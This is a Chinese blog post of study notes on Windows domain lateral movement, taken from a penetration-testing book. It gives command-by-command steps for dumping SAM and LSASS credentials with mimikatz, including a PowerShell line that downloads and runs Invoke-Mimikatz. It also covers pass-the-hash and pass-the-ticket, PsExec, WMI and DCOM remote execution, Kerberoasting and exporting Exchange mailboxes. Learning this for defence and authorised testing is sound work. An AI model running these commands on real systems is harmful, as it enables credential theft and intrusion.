内网渗透学习(四)


内网渗透学习(四)

域内横向移动技术是在复杂的内网攻击中被广泛使用的一种技术,攻击者会利用该技术,以被 攻陷的系统为跳板,访问其他域内主机,扩大资产范围。

常用Windows远程连接和相关命令

IPC

IPC共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常是远程管理计算机和查看计算机的共享资源时使用。

建立一个ipc$:

net use \\192.168.100.190\ipc$ "Aa123456@" /user:administrator
ipc$利用前提
  1. 开启了139、445端口
  2. 管理员开启了默认共享
ipc$连接失败原因
  1. 用户名或密码错误
  2. 目标没有打开ipc$默认共享
  3. 不能成功连接目标的139、445端口
  4. 命令输入错误

使用Windows自带的工具获取远程主机信息

  1. dir命令(列目录)
  2. tasklist命令(列进程)

计划任务

  1. at命令(windows server 2008之前)
    • 使用net time命令确定远程机器当前时间
    • 用copy复制poc到远程机器
    • 使用at命令定时该poc
    • 删除使用at命令创建计划任务的记录
  2. schtasks命令(windows server 2008、windows vista及之后)

Windows系统散列值获取分析

LM Hash和NTLM Hash

Windows操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在ntds.dit中,加密后为散列值。

Windows操作系统中的密码一般由两部分组成,一部分为LM Hash,另一部分为NTLM Hash。在Windows操作系统中,Hash的结构通常如下:

username:RID:LM-Hash:NTLM-Hash

LM Hash本质是DES加密,密码不足14位用0补足。若LM Hash被禁用了,攻击者通过工具抓取的LM Hash通常为”aad3b435b51404eeaad3b435b51404ee”(表示LM Hash为空或被禁用)

NTLM Hash是基于MD4加密算法加密的

单机密码抓取

想要在Windows操作系统中抓取散列值或明文密码,必须将权限提升至System。本地用户名、散列值和其他安全验证信息都保存在SAM文件中。

常用工具和方法:

  • GetPass工具

  • PwDump7工具

  • QuarksPwDump工具

  • 通过SAM和System文件抓取密码

    # 1.导出sam文件
    reg save hklm\sam sam.hive
    reg save hklm\system system.hive
    
    # 2.使用mimikatz或者Cain读取SAM文件
    运行mimikatz后输入命令
    lsadump::sam /sam:sam.hive /system:system.hive
    
    或者在目标机器直接运行mimikatz
    先输入"privilege::debug"
    再输入"token::elevate"
    再输入"lsadump::sam"获取本地SAM文件,获得NTLM Hash
  • 使用mimikatz在线获取SAM文件

    mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
  • 使用mimikatz离线读取SAM文件

  • 使用Powershell对散列值进行Dump操作

    Import-Module .\Get-PassHashes.ps1
    Get-PassHashes
  • 使用Powershell远程加载mimikatz抓取散列值和明文密码

    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

    哈希传递攻击分析

通过使用与账户相关的密码散列值来模拟用户登录来进行攻击。通过哈希传递攻击,攻击者不需要破解密码散列值

攻击利用:

  • 使用NTLM Hash来进行哈希传递

    在目标机器以管理员权限运行mimikatz,输入命令:

    mimikatz> privilege::debug
    mimikatz> sekurlsa::pth /user:administrator /domain:pentest.com /ntlm:D9F9553F...
  • 使用AES-256密钥进行哈希传递

    使用mimikatz抓取AES-256密钥

    mimikatz> privilege::debug
    mimikatz> sekurlsa::ekeys
    # 抓取到密钥后
    mimikatz> privilege::debug
    mimikatz> sekurlsa:pth /user:administrator /domain:pentest.com /aes256:2781f14...
    命令行输入
    dir \\dc\c$
    # dir后跟要使用的主机名,而不是IP地址

    需在目标机器安装KB2871997


票据攻击传递分析

哈希传递需要本地管理员权限,而票据传递则不需要

使用mimikatz进行票据传递

使用mimikatz可以将内存中的票据导出。

  mimikatz> privilege::debug
  mimikatz> sekurlsa::tickets /export

会在当前目录下出现多个服务的票据文件

清除内存中的票据

  mimikatz> kerberos::purge

将票据文件注入内存

  mimikatz "kerberos::ptt "C:\ticket\[0;4f7cf]-2-0-60a00000-administrator@krbtgt-PENTEST.COM.kirbi"

将高权限的票据信息注入内存后,将列出远程计算机系统的文件目录

  dir \\dc\c$

使用kekeo进行票据传递


PsExec使用

PsExec主要用于大批量Windows主机的运维,在域环境下效果尤好。攻击者使用PsExec通过命令行环境与目标机器进行连接,甚至控制目标机器。

  1. 在建立了ipc$的情况下,获取system权限的shell

    PsExec.exe -accepteula \\192.168.100.190 -s cmd.exe

    -accepteula 参数不会弹出确认框

  2. 没建立ipc$时,使用账号密码登录

    psexec \\192.168.100.190 -u administrator -p Aa123456@ cmd.exe

    使用PsExec的前提条件:

  • 需要远程系统开启admin$共享(默认开启)
  • 在使用ipc$连接目标后,不需要输入账号密码
  • Metesploit中也有PsExec模块

WMI使用

Windows Management Instrumentation。从Win98开始,Windows操作系统支持WMI,可以在本地或者远程管理计算机系统。

攻击者在使用wmi进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中。

基本命令

wmic /node:192.168.100.190 /user:administrator /password:Aa123456 process call create "cmd.exe" /c ipconfig >ip.txt

建立ipc$后,使用type命令读取执行结果

type \\192.168.100.190\C$\ip.txt
  • impacket工具包中的wmiexec

  • wmiexec.vbs

    通过VBS调用WMI来模拟PsExec的功能

  • Invoke-WmiCommand.ps1脚本

  • Invoke-WMIMethod


DCOM在远程系统中的使用

DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。通过DCOM,客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发送请求。

DCOM是基于对象组件模型(COM)的。COM提供了一套允许在同一台计算机上的客户端和服务器之间进行通信的接口。

通过本地DCOM执行命令

获取DCOM程序列表

# Powershell3.0以上
Get-CimInstance Win32_DCOMApplication

# Powershell2.0以上
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

使用DCOM执行任意命令

本地启动一个管理员权限的Powershell,执行如下命令

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")

使用DCOM在远程机器上执行命令

前提:

  • 关闭系统防火墙
  • 具有本地管理员权限账号
  1. 通过ipc$连接远程计算机

    net use \\192.168.100.205 "a123456@" /user:pentest.com\dm
  2. 执行命令

    # 调用MMC20.Application远程执行命令
    $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.100.205"))
    $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe")
    
    # 调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
    $com = [Type]::GetTypeFromProgID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.100.205")
    $obj = [System.Activator]::CreateInstance($com)
    $item = $obj.item()
    $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

SPN在域环境中的应用

在域环境中运行的大量应用包含了多种资源,为资源的合理分组、分类和再分配提供了便利。微软给域内的每种资源分配了不同的服务主体名称SPN(Service Principal Name)

在使用Kerberos协议进行身份验证的网络中,必须在内置账号或者用户账号下为服务器注册SPN。对于内置账号,SPN将自动进行注册。但是,如果在域用户账号下运行服务,则必须为要使用的账号手动注册SPN。

因为域环境中的每台服务器都需要在Kerberos身份验证服务中注册SPN,所以攻击者会直接向域控制器发送查询请求,获取其需要的服务的SPN,从而知晓其需要使用的服务资源在哪台机器上。

SPN命令格式

SPN = serviceclass "/" hostname [":"port] ["/" servicename]
  • serviceclass:服务组件的名称
  • hostname:以”/“与后面的名称分隔,是计算机的FQDN(全限定域名,同时带有计算机名和域名)
  • port:以冒号分隔,后面的内容为该服务监听的端口号
  • servicename:一个字符串,可以是服务的专有名称(DN)、objectGuid、Internet主机名或全限定域名

常见的SPN服务

  • MSSQL服务

    MSSQLSvc/computer1.pentest.com:1433

    serviceclass和hostname是必选参数,port和servicename是可选参数

  • Exchange

    exchangeMDB/EXCAS01.pentest.com
  • RDP服务

    TERMSERV/EXCAS01.pentest.com
  • WSMan/WinRM/PSRemoting服务

    WSMAN/EXCAS01.pentest.com

用于SPN扫描的Powershell脚本

通过请求特定的SPN类型的服务主体名称来查找服务,与网络端口扫描相比,SPN扫描的主要特点是不需要通过连接网络中的每个IP地址来检查服务端口。

因为SPN是通过LDAP协议向域控制器进行查询的,所以攻击者只要获得一个普通的域用户权限,就可以进行SPN扫描。

扫描MSSQL服务:

Import-Module .\Discover-PSMSSQLServers.ps1
Discover-PSMSSQLServers

扫描所有SPN服务:

Import-Module .\Discover-PSInterestingServices
Discover-PSInterestingServices

windows自带工具:

setspn -T domain -q */*

Kerberoast攻击

在因为需要使用某个特定资源而向TGS发送Kerberos服务票据的请求时,用户首先需要使用具有有效身份权限的TGT向TGS请求相应服务的票据。当TGT被验证有效且具有该服务的权限时,会向用户发送一张票据。该票据使用与SPN相关联的计算机服务账号的NTLM Hash(RC4_HMAC_MD5)。也就是说,攻击者会通过Kerberos尝试使用不同的NTLM Hash来打开Kerberos票据。如果攻击者使用的NTLM Hash是正确的,Kerberos票据就会被打开,而该NTLM Hash对应于该计算机服务账号的密码。

  1. 手动注册SPN

    setspn -A MSSQLSvc/computer1.pentest.com:1433 mssql
  2. 查看用户所对应的SPN

    setspn -L pentest.com/mssql
  3. 使用adsiedit.msc查看用户SPN及其他高级属性

  4. 配置指定服务的登录权限

    gpedit.msc\Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Log on as a service
  5. 修改加密类型

    gpedit.msc\Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Network security: Configure encryption types allowed for Kerberos
  6. 请求SPN Kerberos票据

    Add-Type -AssemblyName System.IdentityModel
    New-Object System.IdentityModel.Tokens.KerberosRequestor SecurityToken
    -ArgumentList "MSSQLSvc/computer1.pentest.com"
  7. 导出票据

    mimikatz> kerberos::list /export
  8. 使用Kerberos脚本离线破解票据所对应账号的NTLM Hash

    下载kerberos,将票据文件复制到目录下

    python tgsrepcrack.py wordlist.txt mssql.kirbi

exchange服务器安全

Exchange是微软出品的电子邮件服务组件,是一个消息与协作系统。Exchange可以本地化部署,也可以以Exchange Online的形式将Exchange服务器托管在云端。

Exchange支持Poweshell对其进行本地或远程操作,这一方面方便了运维人员对Exchange的管理和配置,另一方面为攻击者对Exchange进行恶意操作创造了条件。

Exchange在逻辑上分为三层:

  • 网络层(Network Layer)
  • 目录层(Directory Layer)
  • 消息层(Messaging Layer)

邮件服务器有五个角色:

  • 邮箱服务器
  • 客户端访问服务器
  • 集线传输服务器
  • 统一消息服务器
  • 边缘传输服务器

Exchange支持的访问接口和协议:

  • OWA:Exchange提供的Web邮箱
  • EAC:Exchange管理中心
  • Outlook Anywhere
  • MAPI
  • Exchange ActiveSync
  • Exchange Web Service

Exchange服务发现

端口扫描

nmap -A -O -sV 192.168.100.194

SPN查询

setspn -T pentest.com -F -Q */*

查看邮件数据库

将Exchange管理单元添加到当前会话中

add-pssnapin microsoft.exchange*

-Server参数指定服务器查询

Get-MailboxDatabase -server "Exchange1"

查询数据库的物理路径

Get-MailboxDatabase -Identity '数据库名' | Format-List Name,EdbFilePath,LogFolderPath

获取现有用户的邮件地址

Get-Mailbox | format-tables Name,WindowsEmailAddress

查看指定用户的邮箱使用信息

get-mailboxstatistics -identity administrator | Select DisplayName,ItemCount,TotalItemSize,LastLogonTime

配置用户的导入/导出权限

查看有导入/导出权限的用户

Get-managementRoleAssignment -role "Mailbox Import Export" | Format-List RoleAssigneeName

添加权限

New-ManagementRoleAssignment -Name "Import Export_Domain Admins" -User "Administrator" -Role "Mailbox Import Export"

添加后需重启Exchange服务器

删除权限

Remove-ManagementRoleAssignment "Import Export_Domain Admins" -Confirm:$false

设置网络共享文件夹

将C盘的inetpub文件夹设置为任意用户都可以操作的文件夹

net share inetpub=c:\inetpub /grant:everyone,full

导出用户的电子邮件

New-MailboxExportRequest -Mailbox administrator -FilePath \\192.168.100.194\inetpub\administrator.pst

参考:内网安全攻防渗透测试实战指南


文章作者: Doublenine
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Doublenine !
 上一篇
内网渗透学习(五) 内网渗透学习(五)
内网渗透学习(五)使用卷影拷贝服务提取ntds.dit在活动目录中,所有的数据都保存在ntds.dit文件中。ntds.dit是一个二进制文件,存储位置是域控的%SystemRoot%\ntds\ntds.dit。和SAM文件一样被Wind
下一篇 
内网渗透学习(三) 内网渗透学习(三)
内网渗透学习(三)权限分类 User:普通用户权限 Administrator:管理员权限。 System:系统权限。可以对SAM等敏感文件进行读取 TrustedInstaller:Windows中的最高权限 系统内核溢出漏洞查看补丁
  目录